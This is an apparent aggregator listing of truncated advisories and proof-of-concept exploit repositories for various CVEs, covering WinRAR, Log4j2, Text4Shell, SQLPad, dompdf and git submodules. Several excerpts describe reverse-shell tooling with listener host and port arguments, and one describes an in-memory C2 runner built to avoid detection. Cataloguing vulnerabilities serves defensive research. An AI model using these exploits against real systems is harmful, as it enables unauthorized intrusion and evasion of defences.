Prototype Pollution

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution via insufficient hardening of runtime option handling across multiple request-processing helpers lib/helpers/resolveConfig.js,...

oracleShell

oracleShell oracle データベースコマンド実行 テスト環境-DBA権限： SELECT FROM v$version Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production PL/SQL Release 11.2.0.1.0 - Production "CORE 11.2.0.1.0 Production" TNS for 32-bit Windows: Version 11.2.0.1.0 - Production NLSRTL Version 11.2.0.1.0 -...

cve-2022-42889-text4shell-docker

Mavenのインストール - maven-linux 1. Mavenをインストールしてfat jarを作成する mvn clean install 2. Dockerビルド docker build --tag=text4shell . 3. Docker実行 docker run -p 80:8080 text4shell 4. アプリをテストする http://localhost/text4shell/attack?search= 5. 攻撃は、前述のルックアップであるプレフィックスを使用して文字列「$prefix:name」を渡すことで実行できます:...

best-CVE-2025-8088

CVE-2025-8088 WinRAR エクスプロイト 🔓 WinRARの脆弱性（CVE-2025-8088）に対する概念実証エクスプロイトで、バージョン7.12以下に影響します。このツールは、パス横断を伴う代替データストリーム（ADS）にペイロードを埋め込んだ悪意のあるRARアーカイブを作成し、任意のコード実行につながる可能性があります。 他の多くのツールの問題は、複数のADSストリームを埋め込んでおらず、正しいパス横断を運任せにするか、正確なユーザー名/抽出ディレクトリを知っている必要があることです。 🚀 動作の仕組み 1. デコイドキュメントを作成 📄 -...

CVE-2026-98006

A flaw was found in the Linux kernel's ALSA Advanced Linux Sound Architecture caiaq USB audio driver. During device initialization failures, the driver prematurely releases memory structures used for USB communication while they remain queued in the host controller. An attacker connecting a craft...

CVE-2026-0740

CVE-2026-0740 🧩 概要 CVE-2026-0740 は、認証されていない任意のファイルアップロードの脆弱性で、以下に影響します： Ninja Forms File Uploads ≤ 3.3.26 WordPress プラグイン この欠陥により、攻撃者は認証なしでサーバーに任意のファイルをアップロードでき、リモートコード実行 RCE につながる可能性があります。 ⚠️ 免責事項 このプロジェクトは教育目的および許可されたセキュリティテスト目的のみ で提供されます。 所有していない、または明示的なテスト許可がないシステムに対しては使用しないでください 。...

CVE-2024-32002

CVE-2024-32002 Calculatorを実行するシンプルな概念実証（macOSのみの例）。git clone --recursiveコマンドを使用すると、このリポジトリはhttps://github.com/markuta/hookyもプルします。このリポジトリにはpost-checkoutスクリプトが含まれています。主にコミット修正t7406-submodule-update.shファイルに基づいています。 実行 注意 : 2.45.1、2.44.1、2.43.4、2.42.2、2.41.1、2.40.2、2.39.4より前のバージョンが脆弱です。 git clone...

Apache-Log4j2-RCE

Apache Log4j2 RCE 検証環境 2021年12月9日以降 参考 https://mp.weixin.qq.com/s/yck74F9p9QhVw3ykzVoSg 環境構築 mavenで関連パッケージと脆弱性のあるバージョン範囲を導入 org.apache.logging.log4j log4j-api 2.14.1 org.apache.logging.log4j log4j-core 2.14.1 確認 dnslogを利用して使用有無を確認 ldapとjndiを組み合わせてRCEを利用 JDKのバージョンに関係あり、JDK...

CVE-2023-45878

Gibbon CMS CVE-2023-45878 エクスプロイト このPythonスクリプトは、Gibbon CMS バージョン25.0.1以前における未認証の任意ファイルアップロード脆弱性 CVE-2023-45878 を悪用し、リモートコード実行（RCE）に至ります。 脆弱性の説明 CVE-2023-45878 は Gibbon CMS の rubricsvisualisesaveAjax.php エンドポイントに存在します。このエンドポイントは認証を必要とせず、任意のファイル書き込みが可能であるため脆弱です。 脆弱性は以下の点から生じます： 未認証アクセス:...

Apple Patches CoreGraphics Flaw Possibly Exploited in Targeted Attacks

Apple has released security updates to address a vulnerability in older versions of iOS, iPadOS, and macOS that it said may have been exploited in targeted attacks. The vulnerability, tracked as CVE-2026-86950 , refers to an out-of-bounds write impacting the CoreGraphics component that could lead...

CVE-2022-0944

CVE-2022-0944 SQLPad RCE CVE-2022-0944 の概念実証エクスプロイトです。 使用方法 usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password login password...

CVE-2022-41343

CVE-2022-41343 🐍 CVE-2022-41343 の Python Exploit dompdf 2.0.1 用 Staged Reverse Shell 基づく: Positive Sec's write-up および PoC 例 cve-2022-41343 10.10.16.3 44444 使い方 usage: cve-2022-41343 -h -l SERVERPORT -s SHELL -n FONTNAME ip port positional arguments: ip Shell Callback IP Address/Host port Shell...

CVE-2026-86950

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7.1 and iPadOS 26.7.1, macOS Sequoia 15.8.1, macOS Tahoe 26.7.1. Processing a maliciously crafted file may lead to arbitrary code execution. Apple is aware of a report that this issue may have...

CVE-2026-86950

The CoreGraphics framework, a core component used by Apple for processing visual content like images and PDFs, contains an out-of-bounds write vulnerability. This flaw occurs when the software writes data beyond its allocated memory limits, potentially allowing an attacker to execute arbitrary co...

EUVD-2026-88445

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7.1 and iPadOS 26.7.1, macOS Sequoia 15.8.1, macOS Tahoe 26.7.1. Processing a maliciously crafted file may lead to arbitrary code execution. Apple is aware of a report that this issue may have...

CVE-2026-86950

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7.1 and iPadOS 26.7.1, macOS Sequoia 15.8.1, macOS Tahoe 26.7.1. Processing a maliciously crafted file may lead to arbitrary code execution. Apple is aware of a report that this issue may have...

CVE-2023-25194

CVE-2023-25194 https://hackerone.com/reports/1529790 PoC POST /connectors HTTP/1.1 Host: xxxx:8083 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10157 AppleWebKit/537.36 KHTML, like Gecko Chrome/109.0.0.0 Safari/537.36 Accept:...

MiniPlasma-Runner

MiniPlasma-Runner 修改自 Nightmare-Eclipse/MiniPlasma（CVE-2020-17103）的版本，适配 C2 使用。 原始 PoC 仅从磁盘运行。此版本通过执行程序集完全在内存中运行，采用拆分二进制方法以避免检测。 免责声明 本工具仅用于授权安全测试和教育目的。在未获得明确书面许可的情况下使用本工具攻击系统是非法且不道德的。作者不对因使用本工具而导致的滥用或损害承担责任。进行任何安全测试前请务必获得适当授权。 变更内容 将多进程阶段重构为单进程线程执行（不再通过 Assembly.Location 自行重启动） 移除了会终止宿主进程的...

CVE-2025-8110

CVE-2025-8110 Gogs の PutContents API における不適切なシンボリックリンク処理により、ローカルコード実行が可能です。 この検出方法はどのように動作しますか？ /user/login のフッターから正規表現 Gogs Version: X.X.X で Gogs バージョンを抽出し、バージョン 0.13.3 以前を実行しているインスタンスを CVE-2025-8110 の脆弱性ありとしてフラグ付けします。 このスクリプトを実行するには？ 1. Nuclei をダウンロードしてインストールします。 2. このリポジトリをローカルシステムにクローンします。 3...

POC-CVE-2025-66034

fontvarlib.py — CVE-2025-66034 fontTools varLib — 任意文件写入 + XML 注入 → 远程代码执行 目录 概述 漏洞详情 攻击链 环境要求 安装 配置 使用方法 工作原理 漏洞代码 利用前检查清单 测试环境 免责声明 参考资料 概述 CVE-2025-66034 是 fontTools.varLib 可变字体生成流水线中的一个漏洞。当 Web 应用暴露此流水线并接受用户提供的 .designspace 文件时，两个弱点可串联起来，实现未认证的远程代码执行 。 fontvarlib.py 自动化了完整的利用链——字体生成、载荷构造、上传和反...